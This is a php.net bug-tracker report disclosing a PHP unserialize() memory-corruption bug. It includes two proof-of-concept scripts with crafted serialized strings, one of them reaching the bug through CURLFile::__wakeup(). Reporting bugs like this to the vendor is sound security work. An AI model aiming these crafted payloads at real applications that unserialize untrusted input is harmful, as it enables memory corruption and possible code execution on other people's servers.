|
|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-08-30 15:56 UTC] taoguangchen at icloud dot com
Description:
------------
PoC:
```
<?php
class obj1 implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
}
}
class obj2 {
var $ryat;
function __wakeup() {
$this->ryat = null;
}
}
$inner = 's:4:"ryat";';
$exploit = 'a:2:{i:0;C:4:"obj1":'.strlen($inner).':{'.$inner.'}i:1;O:4:"obj2":1:{s:4:"ryat";R:3;}}';
$data = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($data);
?>
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2024 The PHP GroupAll rights reserved. |
Last updated: Mon Dec 30 17:01:29 2024 UTC |
This bug can be triggered with CURLFile::__wakeup() PoC: ``` <?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 's:4:"ryat";'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;O:8:"CURLFile":1:{s:4:"name";R:3;}}'; try { unserialize($exploit); } catch (Exception $e) { var_dump($e->getMessage()); } for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } ?> ```